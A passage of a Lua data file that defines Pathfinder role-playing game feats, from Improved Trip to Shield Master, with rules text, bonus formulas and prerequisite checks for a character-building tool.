return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Trip",
Category="FEAT",
Description={
Format="You are skilled at sending your opponents to the ground.",
},
SourcePage="p.128",
Benefits={
{
FormatString="You do not provoke an attack of opportunity when performing a trip combat maneuver. In addition, you receive a +2 bonus on checks made to trip a foe. You also receive a +2 bonus to your Combat Maneuver Defense whenever an opponent tries to trip you.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("2"),
Variables={
"CMB_Trip",
"CMD_Trip",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Combat Expertise" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_INT"] >= 13) or (character.Variables["CombatFeatIntRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Improved Two-Weapon Fighting",
Category="FEAT",
Description={
Format="You are skilled at fighting with two weapons.",
},
SourcePage="p.128",
Benefits={
{
FormatString="In addition to the standard single extra attack you get with an off-hand weapon, you get a second attack with it, albeit at a -5 penalty.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Variables={
"SECONDARYATTACKS",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 17) or (character.Variables["FeatDexRequirement"] >= 17)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improved Unarmed Strike",
Category="FEAT",
Description={
Format="You are skilled while fighting unarmed.",
},
SourcePage="p.128",
Benefits={
{
FormatString="You are considered to be armed even when unarmed-you do not provoke attacks of opportunity when you attack foes while unarmed. Your unarmed strikes can deal lethal or nonlethal damage, at your choice.",
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improved Vital Strike",
Category="FEAT",
Description={
Format="You can make a single attack that deals a large amount of damage.",
},
SourcePage="p.128",
Benefits={
{
FormatString="When you use the attack action, you can make one attack at your highest base attack bonus that deals additional damage. Roll the weapon's damage dice for the attack three times and add the results together before adding bonuses from Strength, weapon abilities (such as flaming), precision-based damage, and other damage bonuses. These extra damage dice are not multiplied on a critical hit, but are added to the total.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Vital Strike" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Improvised Weapon Mastery",
Category="FEAT",
Description={
Format="You can turn nearly any object into a deadly weapon, from a razor sharp chair leg to a sack of flour.",
},
SourcePage="p.128",
Benefits={
{
FormatString="You do not suffer any penalties for using an improvised weapon. Increase the amount of damage dealt by the improvised weapon by one step (for example, 1d4 becomes 1d6) to a maximum of 1d8 (2d6 if the improvised weapon is two-handed). The improvised weapon has a critical threat range of 19-20, with a critical multiplier of W2.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Catch Off-Guard" then return true end
if ability.Name == "Throw Anything" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 8
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Intimidating Prowess",
Category="FEAT",
Description={
Format="Your physical might is intimidating to others.",
},
SourcePage="p.128",
Benefits={
{
FormatString="Add your Strength modifier to Intimidate skill checks in addition to your Charisma modifier.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("STR"),
Variables={
"Intimidate",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Iron Will",
Category="FEAT",
Description={
Format="You are more resistant to mental effects.",
},
SourcePage="p.129",
Benefits={
{
FormatString="You get a +2 bonus on all Will saving throws.",
},
},
Bonuses={
{
Category="SAVE",
Formula=Formula("2"),
Variables={
"Will",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Leadership",
Category="FEAT",
Description={
Format="You attract followers to your cause and a companion to join you on your adventure.",
},
SourcePage="p.129",
Abilities={
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Leadership Score",
},
},
},
Benefits={
{
FormatString="This feat enables you to attract a loyal cohort and a number of devoted subordinates who assist you. A cohort is generally an NPC with class levels, while followers are typically lower level NPCs. See Table 5-2 for what level of cohort and how many followers you can recruit.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("min((TL-2),(((LeadershipScore+6)*7)/10)-4)"),
Variables={
"LeadershipMaxCohortLvl",
},
},
{
Category="VAR",
Formula=Formula("(TL+LeadershipAbilityScoreMod)"),
Variables={
"LeadershipScore",
},
},
{
Category="VAR",
Formula=Formula("CHA"),
Variables={
"LeadershipAbilityScoreMod",
},
},
},
Conditions={
function (character, item, sources)
return character.Level >= 7
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Lightning Reflexes",
Category="FEAT",
Description={
Format="You have faster reflexes than normal.",
},
SourcePage="p.130",
Benefits={
{
FormatString="You get a +2 bonus on all Reflex saving throws.",
},
},
Bonuses={
{
Category="SAVE",
Formula=Formula("2"),
Variables={
"Reflex",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Lightning Stance",
Category="FEAT",
Description={
Format="The speed at which you move makes it nearly impossible for opponents to strike you.",
},
SourcePage="p.130",
Benefits={
{
FormatString="If you take two actions to move or a withdraw action in a turn, you gain 50%% concealment for 1 round.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dodge" then return true end
if ability.Name == "Wind Stance" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 17) or (character.Variables["FeatDexRequirement"] >= 17)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Lunge",
Category="FEAT",
Description={
Format="You can strike foes that would normally be out of reach.",
},
SourcePage="p.130",
Benefits={
{
FormatString="You can increase the reach of your melee attacks by 5 feet until the end of your turn by taking a -2 penalty to your AC until your next turn. You must decide to use this ability before any attacks are made.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Magical Aptitude",
Category="FEAT",
Description={
Format="You are skilled at spellcasting and using magic items.",
},
SourcePage="p.130",
Benefits={
{
FormatString="You get a +2 bonus on all Spellcraft checks and Use Magic Device checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Spellcraft\")>=10,4,2)"),
Variables={
"Spellcraft",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Use Magic Device\")>=10,4,2)"),
Variables={
"Use Magic Device",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Manyshot",
Category="FEAT",
Description={
Format="You can fire multiple arrows at a single target.",
},
SourcePage="p.130",
Benefits={
{
FormatString="When making a full-attack action with a bow, your first attack fires two arrows. If the attack hits, both arrows hit. Apply precision-based damage (such as sneak attack) and critical hit damage only once for this attack. Damage bonuses from using a composite bow with a high Strength bonus apply to each arrow, as do other damage bonuses, such as a ranger's favored enemy bonus. Damage reduction and resistances apply separately to each arrow.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Point-Blank Shot" then return true end
if ability.Name == "Rapid Shot" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 17) or (character.Variables["FeatDexRequirement"] >= 17)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Martial Weapon Proficiency",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return ((not (character.IsProficientWith(weapon)) and (((weapon.IsType("Martial"))))))
end),
},
Description={
Format="You understand how to use your chosen martial weapon in combat.",
},
SourcePage="p.130",
AutomaticProficiencies={
{
Kind="Weapon",
Names={
"%LIST",
},
},
},
Benefits={
{
FormatString="You make attack rolls with the selected weapon normally (without the non-proficient penalty).",
},
},
Conditions={
function (character, item, sources)
return not (character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Martial Weapon Proficiency Output" then return true end
return false
end))
end,
},
Types={
"Combat",
"MartialWeaponProficiency",
},
})
DefineAbility({
Name="Master Craftsman",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseSkill(function (character, skill)
return ((character.Ranks(skill) >= 5)) or ((skill.IsType("Craft"))) or ((skill.IsType("Profession")))
end),
MaxTimes=1,
},
Description={
Format="Your superior crafting skills allow you to create simple magic items.",
},
SourcePage="p.130",
Stackable=false,
Benefits={
{
FormatString="Choose one Craft or Profession skill in which you possess at least 5 ranks. You receive a +2 bonus on your chosen Craft or Profession skill. Ranks in your chosen skill count as your caster level for the purposes of qualifying for the Craft Magic Arms and Armor and Craft Wondrous Item feats. You can create magic items using these feats, substituting your ranks in the chosen skill for your total caster level. You must use the chosen skill for the check to create the item. The DC to create the item still increases for any necessary spell requirements (see the magic item creation rules in Chapter 15). You cannot use this feat to create any spell-trigger or spell-activation item.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("2"),
Variables={
"LIST",
},
},
{
Category="VAR",
Formula=Formula("var(\"SKILLRANK=%LIST\")"),
Variables={
"MasterCraftsmanRanks",
},
},
},
Conditions={
function (character, item, sources)
return (character.BestSkillOfType("Craft").ranks >= 5) or (character.BestSkillOfType("Profession").ranks >= 5)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Maximize Spell",
Category="FEAT",
AddedSpellLevels=3,
Description={
Format="Your spells have the maximum possible effect.",
},
SourcePage="p.130",
Benefits={
{
FormatString="All variable, numeric effects of a spell modified by this feat are maximized. Saving throws and opposed rolls are not affected, nor are spells without random variables. A maximized spell uses up a spell slot three levels higher than the spell's actual level. An empowered, maximized spell gains the separate benefits of each feat: the maximum result plus half the normally rolled result.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Maximized",
},
})
DefineAbility({
Name="Medusa's Wrath",
Category="FEAT",
Description={
Format="You can take advantage of your opponent's confusion, delivering multiple blows.",
},
SourcePage="p.130",
Benefits={
{
FormatString="Whenever you use the full-attack action and make at least one unarmed strike, you can make two additional unarmed strikes at your highest base attack bonus. These bonus attacks must be made against a dazed, flat-footed, paralyzed, staggered, stunned, or unconscious foe.",
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
if ability.Name == "Gorgon's Fist" then return true end
if ability.Name == "Scorpion Style" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 11
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Mobility",
Category="FEAT",
Description={
Format="You can easily move through a dangerous melee.",
},
SourcePage="p.130",
Abilities={
{
Category="Internal",
Nature="AUTOMATIC",
Names={
"Aspect Combat Bonus ~ Mobility",
},
},
},
Benefits={
{
FormatString="You get a +4 dodge bonus to Armor Class against attacks of opportunity caused when you move out of or within a threatened area. A condition that makes you lose your Dexterity bonus to Armor Class (if any) also makes you lose dodge bonuses. Dodge bonuses stack with each other, unlike most types of bonuses.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Dodge" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Mounted Archery",
Category="FEAT",
Description={
Format="You are skilled at making ranged attacks while mounted.",
},
SourcePage="p.131",
Benefits={
{
FormatString="The penalty you take when using a ranged weapon while mounted is halved: -2 instead of -4 if your mount is taking a double move, and -4 instead of -8 if your mount is running.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Mounted Combat" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Mounted Combat",
Category="FEAT",
Description={
Format="You are adept at guiding your mount through combat.",
},
SourcePage="p.131",
Benefits={
{
FormatString="Once per round when your mount is hit in combat, you may attempt a Ride check (as an immediate action) to negate the hit. The hit is negated if your Ride check result is greater than the opponent's attack roll.",
},
},
Conditions={
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Natural Spell",
Category="FEAT",
Description={
Format="You can cast spells even while in a form that cannot normally cast spells.",
},
SourcePage="p.131",
Benefits={
{
FormatString="You can complete the verbal and somatic components of spells while using wild shape. You substitute various noises and gestures for the normal verbal and somatic components of a spell. You can also use any material components or focuses you possess, even if such items are melded within your current form. This feat does not permit the use of magic items while you are in a form that could not ordinarily use them, and you do not gain the ability to speak while using wild shape.",
},
},
Conditions={
function (character, item, sources)
return (character.Variables["WildShapeProgression"] >= 1) or (character.Variables["ShamanWildShapeProgression"] >= 1)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_WIS"] >= 13)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Nimble Moves",
Category="FEAT",
Description={
Format="You can move across a single obstacle with ease.",
},
SourcePage="p.131",
Aspects={
{
Name="CombatBonus",
FormatString="You may move through %1 feet of difficult terrain as normal.",
Arguments={
"Feat_NimbleMoves_Squares",
},
},
},
Benefits={
{
FormatString="Whenever you move, you may move through 5 feet of difficult terrain each round as if it were normal terrain. This feat allows you to take a 5-foot step into difficult terrain.",
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("5"),
Variables={
"Feat_NimbleMoves_Squares",
},
},
},
Conditions={
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Penetrating Strike",
Category="FEAT",
Description={
Format="Your attacks with your chosen weapon are capable of penetrating the defenses of some creatures.",
},
SourcePage="p.131",
Benefits={
{
FormatString="Your attacks made with weapons selected with Weapon Focus ignore up to 5 points of damage reduction. This feat does not apply to damage reduction without a type (such as DR 10/-).",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Weapon Focus" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PenetratingStrikeQualify"] >= 1)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Persuasive",
Category="FEAT",
Description={
Format="You are skilled at swaying attitudes and intimidating others into your way of thinking.",
},
SourcePage="p.131",
Benefits={
{
FormatString="You get a +2 bonus on Diplomacy and Intimidate skill checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Diplomacy\")>=10,4,2)"),
Variables={
"Diplomacy",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Intimidate\")>=10,4,2)"),
Variables={
"Intimidate",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Pinpoint Targeting",
Category="FEAT",
Description={
Format="You can target the weak points in your opponent's armor.",
},
SourcePage="p.131",
Benefits={
{
FormatString="As a standard action, make a single ranged attack. The target does not gain any armor, natural armor, or shield bonuses to its Armor Class. You do not gain the benefit of this feat if you move this round.",
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Precise Shot" then return true end
if ability.Name == "Point-Blank Shot" then return true end
if ability.Name == "Precise Shot" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 19) or (character.Variables["FeatDexRequirement"] >= 19)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 16
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Point-Blank Shot",
Category="FEAT",
Description={
Format="You are especially accurate when making ranged attacks against close target.",
},
SourcePage="p.131",
Benefits={
{
FormatString="You get a +1 bonus on attack and damage rolls with ranged weapons at ranges of up to 30 feet.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Variables={
"TOHIT-SHORTRANGE",
"DAMAGE-SHORTRANGE",
},
},
},
Types={
"Combat",
},
})
DefineAbility({
Name="Power Attack",
Category="FEAT",
Description={
Format="You can make exceptionally deadly melee attacks by sacrificing accuracy for strength.",
},
SourcePage="p.131",
Abilities={
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Power Attack (Light)",
"Power Attack (Off-Hand)",
"Power Attack (One-Handed)",
"Power Attack (Two-Handed)",
},
},
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Power Attack (Flurry)",
},
Conditions={
function (character, item, sources)
return ((character.GetLevelOfClass("Monk") >= 1)) >= 1
end,
},
},
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Power Attack (Natural Secondary)",
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Internal" then return false end
if ability.IsAnyType("NaturalAttackSecondary") then return true end
return false
end)
end,
},
},
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Power Attack (Natural Primary)",
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Internal" then return false end
if ability.IsAnyType("NaturalAttackPrimary") then return true end
return false
end)
end,
},
},
{
Category="FEAT",
Nature="VIRTUAL",
Names={
"Power Attack (Natural Primary - Single)",
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Internal" then return false end
if ability.IsAnyType("NaturalAttackPrimarySingle") then return true end
return false
end)
end,
},
},
},
Benefits={
{
FormatString="You can choose to take a -%1 penalty on all melee attack rolls and combat maneuver checks to gain a +%2 bonus on all melee damage rolls. This bonus to damage is increased by half (+50%%) if you are making an attack with a two-handed weapon, a one handed weapon using two hands, or a primary natural weapon that adds 1-1/2 times your Strength modifier on damage rolls. This bonus to damage is halved (-50%%) if you are making an attack with an off-hand weapon or secondary natural weapon. You must choose to use this feat before making an attack roll, and its effects last until your next turn. The bonus damage does not apply to touch attacks or effects that do not deal hit point damage.",
Arguments={
"PowerAttackModifier",
"PowerAttackDamageModifier",
},
},
},
Bonuses={
{
Category="VAR",
Formula=Formula("(BAB/4)+1"),
Variables={
"PowerAttackModifier",
},
},
{
Category="VAR",
Formula=Formula("2"),
Variables={
"PowerAttackDamageBase",
},
},
{
Category="VAR",
Formula=Formula("PowerAttackDamageBase*floor(PowerAttackModifier)"),
Variables={
"PowerAttackDamageModifier",
},
},
{
Category="VAR",
Formula=Formula("BAB+(FlurryLVL-MonkBAB)"),
Variables={
"MonkFlurryPowerAttackModifier",
},
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
function (character, item, sources)
return (character.Variables["PreStatScore_STR"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Precise Shot",
Category="FEAT",
Description={
Format="You are adept at firing ranged attacks into melee.",
},
SourcePage="p.131",
Benefits={
{
FormatString="You can shoot or throw ranged weapons at an opponent engaged in melee without taking the standard -4 penalty on your attack roll.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Point-Blank Shot" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Quick Draw",
Category="FEAT",
Description={
Format="You can draw weapons faster than most.",
},
SourcePage="p.131",
Benefits={
{
FormatString="You can draw a weapon as a free action instead of as a move action. You can draw a hidden weapon (see the Sleight of Hand skill) as a move action. A character who has selected this feat may throw weapons at his full normal rate of attacks (much like a character with a bow). Alchemical items, potions, scrolls, and wands cannot be drawn quickly using this feat.",
},
},
Conditions={
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Quicken Spell",
Category="FEAT",
AddedSpellLevels=4,
Description={
Format="You can cast spells in the fraction of the normal time.",
},
SourcePage="p.132",
Benefits={
{
FormatString="Casting a quickened spell is a swift action. You can perform another action, even casting another spell, in the same round as you cast a quickened spell. A spell whose casting time is more than 1 round or 1 full-round action cannot be quickened. A quickened spell uses up a spell slot four levels higher than the spell's actual level. Casting a quickened spell doesn't provoke an attack of opportunity.",
},
},
Types={
"Metamagic",
},
Facts={
AppliedName="Quickened",
},
})
DefineAbility({
Name="Rapid Reload",
Category="FEAT",
AllowMultiple=true,
Choice={
Choose=ChooseWeaponProficiency(function (character, weapon)
return (((stringMatch(weapon.Name, "Crossbow (Hand)") or stringMatch(weapon.Key, "Crossbow (Hand)")))) or (((stringMatch(weapon.Name, "Crossbow (Heavy)") or stringMatch(weapon.Key, "Crossbow (Heavy)")))) or (((stringMatch(weapon.Name, "Crossbow (Light)") or stringMatch(weapon.Key, "Crossbow (Light)"))))
end),
},
Description={
Format="Choose a type of crossbow (hand, light, or heavy). You can reload such weapons quickly.",
},
ExtraCondition="Weapon Proficiency (crossbow type chosen).",
SourcePage="p.132",
Stackable=false,
Benefits={
{
FormatString="The time required for you to reload your chosen type of crossbow is reduced to a free action (for a hand or light crossbow) or a move action (for a heavy crossbow). Reloading a crossbow still provokes an attack of opportunity.&nl;If you have selected this feat for hand crossbow or light crossbow, you may fire that weapon as many times in a full-attack action as you could attack if you were using a bow.",
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithWeaponType("Crossbow"))
end,
},
Types={
"Combat",
},
Info={
Prerequisite="Weapon Proficiency (crossbow type chosen).",
Normal="A character without this feat needs a move action to reload a hand or light crossbow, or a full-round action to reload a heavy crossbow.",
Special="You can gain Rapid Reload multiple times. Each time you take the feat, it applies to a new type of crossbow.",
},
})
DefineAbility({
Name="Rapid Shot",
Category="FEAT",
Description={
Format="You can make an additional ranged attack.",
},
SourcePage="p.132",
TemporaryBonus={
Bonus={
Category="WEAPON",
Formula=Formula("-2"),
Variables={
"TOHIT",
},
},
Target="EQ|Weapon,Ranged",
},
Benefits={
{
FormatString="When making a full-attack action with a ranged weapon, you can fire one additional time this round. All of your attack rolls take a -2 penalty when using Rapid Shot.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Point-Blank Shot" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_DEX"] >= 13) or (character.Variables["FeatDexRequirement"] >= 13)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Ride-By Attack",
Category="FEAT",
Description={
Format="While mounted, you can move, strike at a foe, and then continue moving.",
},
SourcePage="p.132",
Benefits={
{
FormatString="When you are mounted and use the charge action, you may move and attack as if with a standard charge and then move again (continuing the straight line of the charge). Your total movement for the round can't exceed double your mounted speed. You and your mount do not provoke an attack of opportunity from the opponent that you attack.",
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Mounted Combat" then return true end
return false
end)
end,
function (character, item, sources)
return (character.Skill("Ride").ranks >= 1)
end,
},
Types={
"Combat",
"AttackOption",
},
})
DefineAbility({
Name="Run",
Category="FEAT",
Description={
Format="You are swift of foot.",
},
SourcePage="p.132",
Benefits={
{
FormatString="When running, you move five times your normal speed (if wearing medium, light, or no armor and carrying no more than a medium load) or four times your speed (if wearing heavy armor or carrying a heavy load). If you make a jump after a running start (see the Acrobatics skill description), you gain a +4 bonus on your Acrobatics check. While running, you retain your Dexterity bonus to your Armor Class.",
},
},
Types={
"General",
},
})
DefineAbility({
Name="Scorpion Style",
Category="FEAT",
Description={
Format="You can perform an unarmed strike that greatly hampers your target's movement.",
},
SourcePage="p.132",
Benefits={
{
FormatString="To use this feat, you must make a single unarmed attack as a standard action. If this unarmed attack hits, you deal damage normally, and the target's base land speed is reduced to 5 feet for a number of rounds equal to your Wisdom modifier unless it makes a Fortitude saving throw (DC %1).",
Arguments={
"10+(TL/2)+WIS",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Unarmed Strike" then return true end
return false
end)
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Scribe Scroll",
Category="FEAT",
Description={
Format="You can create magic scrolls.",
},
SourcePage="p.132",
Benefits={
{
FormatString="You can create a scroll of any spell that you know. Scribing a scroll takes 2 hours if its base price is 250 gp or less, otherwise scribing a scroll takes 1 day for each 1,000 gp in its base price. To scribe a scroll, you must use up raw materials costing half of this base price. See the magic item creation rules in Chapter 15 for more information.",
},
},
Conditions={
function (character, item, sources)
return ((character.CountSpellCastingClasses(1))) >= 1 or (character.Variables["CasterLevel_Highest"] >= 1)
end,
},
Types={
"ItemCreation",
},
})
DefineAbility({
Name="Selective Channeling",
Category="FEAT",
Description={
Format="You can choose whom to affect when you channel energy.",
},
SourcePage="p.132",
Benefits={
{
FormatString="When you channel energy, you can choose %1 targets in the area. These targets are not affected by your channeled energy.",
Arguments={
"CHA",
},
},
},
Conditions={
function (character, item, sources)
return character.HasAnyAbility(function (ability)
if ability.Category ~= "Special Ability" then return false end
if ability.IsAnyType("Channel Positive Energy", "Channel Negative Energy") then return true end
return false
end)
end,
function (character, item, sources)
return (character.Variables["PreStatScore_CHA"] >= 13)
end,
},
Types={
"General",
},
})
DefineAbility({
Name="Self-Sufficient",
Category="FEAT",
Description={
Format="You know how to get along in the wild and how to effectively treat wounds.:",
},
SourcePage="p.133",
Benefits={
{
FormatString="You get a +2 bonus on all Heal checks and Survival checks. If you have 10 or more ranks in one of these skills, the bonus increases to +4 for that skill.",
},
},
Bonuses={
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Heal\")>=10,4,2)"),
Variables={
"Heal",
},
},
{
Category="SKILL",
Formula=Formula("if(skillinfo(\"TOTALRANK\",\"Survival\")>=10,4,2)"),
Variables={
"Survival",
},
},
},
Types={
"General",
},
})
DefineAbility({
Name="Shatter Defenses",
Category="FEAT",
Description={
Format="Your skill with your chosen weapon leaves opponents unable to defend themselves if you strike them when their defenses are already compromised.",
},
SourcePage="p.133",
Benefits={
{
FormatString="Any shaken, frightened, or panicked opponent hit by you this round is flat-footed to your attacks until the end of your next turn. This includes any additional attacks you make this round.",
},
},
Conditions={
function (character, item, sources)
return 2 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Weapon Focus" then return true end
if ability.Name == "Dazzling Display" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 6
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Shield Focus",
Category="FEAT",
Description={
Format="You are skilled at deflecting blows with your shield.",
},
SourcePage="p.133",
Benefits={
{
FormatString="Increase the AC bonus granted by any shield you are using by 1.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("1"),
Type={
Name="Shield",
Stack=true,
},
Conditions={
function (character, item, sources)
return (character.HasEquipped(function (item) return item.IsType("Shield") end))
end,
},
Variables={
"AC",
},
},
},
Conditions={
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Shield Proficiency" then return true end
return false
end)
end,
function (character, item, sources)
return character.TotalAttackBonus >= 1
end,
},
Types={
"Combat",
},
})
DefineAbility({
Name="Shield Master",
Category="FEAT",
Description={
Format="Your mastery of the shield allows you to fight with it without hindrance.",
},
SourcePage="p.133",
Benefits={
{
FormatString="You do not suffer any penalties on attack rolls made with a shield while you are wielding another weapon. Add your shield's shield bonus to attacks and damage rolls made with the shield as if it was an enhancement bonus.",
},
},
Bonuses={
{
Category="COMBAT",
Formula=Formula("var(\"ARMOR.SHIELD.EQUIPPED.0.ACBONUS\")-var(\"ARMOR.SHIELD.EQUIPPED.0.BASEAC\")"),
Type={
Name="Enhancement",
},
Variables={
"TOHIT.ShieldBash",
},
},
{
Category="COMBAT",
Formula=Formula("var(\"ARMOR.SHIELD.EQUIPPED.0.ACBONUS\")-var(\"ARMOR.SHIELD.EQUIPPED.0.BASEAC\")"),
Type={
Name="Enhancement",
},
Variables={
"DAMAGE.ShieldBash",
},
},
{
Category="VAR",
Formula=Formula("var(\"ARMOR.SHIELD.EQUIPPED.0.ACBONUS\")-var(\"ARMOR.SHIELD.EQUIPPED.0.BASEAC\")"),
Type={
Name="Enhancement",
},
Variables={
"ShieldBashAttackBonus",
"ShieldBashDamageBonus",
},
},
},
Conditions={
function (character, item, sources)
return 3 <= character.CountAbilities(function (ability)
if ability.Category ~= "FEAT" then return false end
if ability.Name == "Improved Shield Bash" then return true end
if ability.Name == "Shield Slam" then return true end
if ability.Name == "Two-Weapon Fighting" then return true end
return false
end)
end,
function (character, item, sources)
return (character.IsProficientWithShieldType("Buckler")) and (character.IsProficientWithShieldType("Light")) and (character.IsProficientWithShieldType("Heavy")) or character.HasAnyAbility(function (ability)
if ability.Category ~= "FEAT" then return false end
